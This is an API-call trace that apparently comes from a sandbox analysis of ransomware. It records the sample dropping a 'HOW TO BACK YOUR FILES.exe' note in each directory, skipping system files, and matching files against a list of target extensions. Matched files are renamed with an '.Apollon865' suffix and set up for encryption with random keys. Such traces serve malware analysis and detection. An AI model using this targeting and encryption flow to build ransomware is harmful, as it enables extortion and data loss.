	[0075.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr") returned 88
	[0075.789] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr"
	[0075.789] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.789] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.801] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.801] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x453fcbb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x453fcbb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.802] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.802] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.802] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.802] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x453fcbb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x453fcbb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.802] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.802] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.802] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.802] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.802] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x453fcbb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x453fcbb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.802] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.802] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1
	[0075.802] lstrcmpiW (lpString1="Proof.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.802] lstrcmpiW (lpString1="Proof.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.802] lstrcmpiW (lpString1="Proof.XML", lpString2=".") returned 1
	[0075.802] lstrcmpiW (lpString1="Proof.XML", lpString2="..") returned 1
	[0075.802] lstrcmpiW (lpString1="Proof.XML", lpString2="windows") returned -1
	[0075.802] lstrcmpiW (lpString1="Proof.XML", lpString2="bootmgr") returned 1
	[0075.802] lstrcmpiW (lpString1="Proof.XML", lpString2="temp") returned -1
	[0075.802] lstrcmpiW (lpString1="Proof.XML", lpString2="pagefile.sys") returned 1
	[0075.802] lstrcmpiW (lpString1="Proof.XML", lpString2="boot") returned 1
	[0075.802] lstrcmpiW (lpString1="Proof.XML", lpString2="ids.txt") returned 1
	[0075.802] lstrcmpiW (lpString1="Proof.XML", lpString2="ntuser.dat") returned 1
	[0075.802] lstrcmpiW (lpString1="Proof.XML", lpString2="perflogs") returned 1
	[0075.802] lstrcmpiW (lpString1="Proof.XML", lpString2="MSBuild") returned 1
	[0075.802] lstrlenW (lpString="Proof.XML") returned 9
	[0075.802] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*") returned 90
	[0075.802] lstrcpyW (in: lpString1=0x2d3e602, lpString2="Proof.XML" | out: lpString1="Proof.XML") returned="Proof.XML"
	[0075.802] lstrlenW (lpString="Proof.XML") returned 9
	[0075.802] lstrlenW (lpString="Apollon865") returned 10
	[0075.802] lstrlenW (lpString=".dll") returned 4
	[0075.802] lstrcmpiW (lpString1="Proof.XML", lpString2=".dll") returned 1
	[0075.802] lstrlenW (lpString=".lnk") returned 4
	[0075.802] lstrcmpiW (lpString1="Proof.XML", lpString2=".lnk") returned 1
	[0075.803] lstrlenW (lpString=".ini") returned 4
	[0075.803] lstrcmpiW (lpString1="Proof.XML", lpString2=".ini") returned 1
	[0075.803] lstrlenW (lpString=".sys") returned 4
	[0075.803] lstrcmpiW (lpString1="Proof.XML", lpString2=".sys") returned 1
	[0075.803] lstrlenW (lpString="Proof.XML") returned 9
	[0075.803] lstrlenW (lpString="bak") returned 3
	[0075.803] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.803] lstrlenW (lpString="ba_") returned 3
	[0075.803] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.803] lstrlenW (lpString="dbb") returned 3
	[0075.803] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.803] lstrlenW (lpString="vmdk") returned 4
	[0075.803] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.803] lstrlenW (lpString="rar") returned 3
	[0075.803] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.803] lstrlenW (lpString="zip") returned 3
	[0075.803] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.803] lstrlenW (lpString="tgz") returned 3
	[0075.803] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.803] lstrlenW (lpString="vbox") returned 4
	[0075.803] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.803] lstrlenW (lpString="vdi") returned 3
	[0075.803] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.803] lstrlenW (lpString="vhd") returned 3
	[0075.803] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.803] lstrlenW (lpString="vhdx") returned 4
	[0075.803] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.803] lstrlenW (lpString="avhd") returned 4
	[0075.803] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.803] lstrlenW (lpString="db") returned 2
	[0075.803] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.803] lstrlenW (lpString="db2") returned 3
	[0075.803] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.803] lstrlenW (lpString="db3") returned 3
	[0075.803] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.803] lstrlenW (lpString="dbf") returned 3
	[0075.803] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.803] lstrlenW (lpString="mdf") returned 3
	[0075.804] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.804] lstrlenW (lpString="mdb") returned 3
	[0075.804] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.804] lstrlenW (lpString="sql") returned 3
	[0075.804] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.804] lstrlenW (lpString="sqlite") returned 6
	[0075.804] lstrcmpiW (lpString1="of.XML", lpString2="sqlite") returned -1
	[0075.804] lstrlenW (lpString="sqlite3") returned 7
	[0075.804] lstrcmpiW (lpString1="oof.XML", lpString2="sqlite3") returned -1
	[0075.804] lstrlenW (lpString="sqlitedb") returned 8
	[0075.804] lstrcmpiW (lpString1="roof.XML", lpString2="sqlitedb") returned -1
	[0075.804] lstrlenW (lpString="xml") returned 3
	[0075.804] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.804] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.Apollon865") returned 109
	[0075.804] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\Proof.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\proof.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0075.805] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1458) returned 1
	[0075.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.805] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.805] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.806] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.806] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.806] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8c0, lpName=0x0) returned 0x118
	[0075.808] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8c0) returned 0x100000
	[0075.809] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.810] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.810] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.810] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.810] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0075.810] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0075.811] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0075.811] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0075.811] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0075.811] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0075.811] CloseHandle (hObject=0x118) returned 1
	[0075.811] CloseHandle (hObject=0x15c) returned 1
	[0075.811] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0075.811] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0075.811] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0075.811] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0
	[0075.811] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0075.811] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fd90
	[0075.811] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es"
	[0075.811] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1698 | out: hHeap=0x580000) returned 1
	[0075.811] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0075.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es") returned 88
	[0075.811] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es"
	[0075.811] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.811] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.816] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.816] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x45422d10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45422d10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.816] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.816] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.816] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.816] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x45422d10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45422d10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.816] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.816] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.816] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.816] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.816] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45422d10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45422d10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0075.816] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0075.816] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1
	[0075.816] lstrcmpiW (lpString1="Proof.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0075.817] lstrcmpiW (lpString1="Proof.XML", lpString2="Apollon865.txt.exe") returned 1
	[0075.817] lstrcmpiW (lpString1="Proof.XML", lpString2=".") returned 1
	[0075.817] lstrcmpiW (lpString1="Proof.XML", lpString2="..") returned 1
	[0075.817] lstrcmpiW (lpString1="Proof.XML", lpString2="windows") returned -1
	[0075.817] lstrcmpiW (lpString1="Proof.XML", lpString2="bootmgr") returned 1
	[0075.817] lstrcmpiW (lpString1="Proof.XML", lpString2="temp") returned -1
	[0075.817] lstrcmpiW (lpString1="Proof.XML", lpString2="pagefile.sys") returned 1
	[0075.817] lstrcmpiW (lpString1="Proof.XML", lpString2="boot") returned 1
	[0075.817] lstrcmpiW (lpString1="Proof.XML", lpString2="ids.txt") returned 1
	[0075.817] lstrcmpiW (lpString1="Proof.XML", lpString2="ntuser.dat") returned 1
	[0075.817] lstrcmpiW (lpString1="Proof.XML", lpString2="perflogs") returned 1
	[0075.817] lstrcmpiW (lpString1="Proof.XML", lpString2="MSBuild") returned 1
	[0075.817] lstrlenW (lpString="Proof.XML") returned 9
	[0075.817] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*") returned 90
	[0075.817] lstrcpyW (in: lpString1=0x2d3e602, lpString2="Proof.XML" | out: lpString1="Proof.XML") returned="Proof.XML"
	[0075.817] lstrlenW (lpString="Proof.XML") returned 9
	[0075.817] lstrlenW (lpString="Apollon865") returned 10
	[0075.817] lstrlenW (lpString=".dll") returned 4
	[0075.817] lstrcmpiW (lpString1="Proof.XML", lpString2=".dll") returned 1
	[0075.817] lstrlenW (lpString=".lnk") returned 4
	[0075.817] lstrcmpiW (lpString1="Proof.XML", lpString2=".lnk") returned 1
	[0075.817] lstrlenW (lpString=".ini") returned 4
	[0075.817] lstrcmpiW (lpString1="Proof.XML", lpString2=".ini") returned 1
	[0075.817] lstrlenW (lpString=".sys") returned 4
	[0075.817] lstrcmpiW (lpString1="Proof.XML", lpString2=".sys") returned 1
	[0075.817] lstrlenW (lpString="Proof.XML") returned 9
	[0075.817] lstrlenW (lpString="bak") returned 3
	[0075.817] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0075.817] lstrlenW (lpString="ba_") returned 3
	[0075.817] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0075.817] lstrlenW (lpString="dbb") returned 3
	[0075.817] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0075.817] lstrlenW (lpString="vmdk") returned 4
	[0075.817] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0075.818] lstrlenW (lpString="rar") returned 3
	[0075.818] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0075.818] lstrlenW (lpString="zip") returned 3
	[0075.818] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0075.818] lstrlenW (lpString="tgz") returned 3
	[0075.818] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0075.818] lstrlenW (lpString="vbox") returned 4
	[0075.818] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0075.818] lstrlenW (lpString="vdi") returned 3
	[0075.818] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0075.818] lstrlenW (lpString="vhd") returned 3
	[0075.818] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0075.818] lstrlenW (lpString="vhdx") returned 4
	[0075.818] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0075.818] lstrlenW (lpString="avhd") returned 4
	[0075.818] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0075.818] lstrlenW (lpString="db") returned 2
	[0075.818] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0075.818] lstrlenW (lpString="db2") returned 3
	[0075.818] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0075.818] lstrlenW (lpString="db3") returned 3
	[0075.818] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0075.818] lstrlenW (lpString="dbf") returned 3
	[0075.818] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0075.818] lstrlenW (lpString="mdf") returned 3
	[0075.818] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0075.818] lstrlenW (lpString="mdb") returned 3
	[0075.818] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0075.818] lstrlenW (lpString="sql") returned 3
	[0075.818] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0075.818] lstrlenW (lpString="sqlite") returned 6
	[0075.818] lstrcmpiW (lpString1="of.XML", lpString2="sqlite") returned -1
	[0075.818] lstrlenW (lpString="sqlite3") returned 7
	[0075.818] lstrcmpiW (lpString1="oof.XML", lpString2="sqlite3") returned -1
	[0075.818] lstrlenW (lpString="sqlitedb") returned 8
	[0075.818] lstrcmpiW (lpString1="roof.XML", lpString2="sqlitedb") returned -1
	[0075.818] lstrlenW (lpString="xml") returned 3
	[0075.818] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0075.819] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.Apollon865") returned 109
	[0075.819] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.apollon865"), dwFlags=0x1) returned 1
	[0075.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0075.820] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1457) returned 1
	[0075.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0075.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0075.820] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0075.820] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0075.821] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0075.821] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.821] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8c0, lpName=0x0) returned 0x118
	[0075.822] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8c0) returned 0x100000
	[0075.823] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0075.824] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0075.824] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0075.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0075.824] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0075.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0075.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0075.824] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0075.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
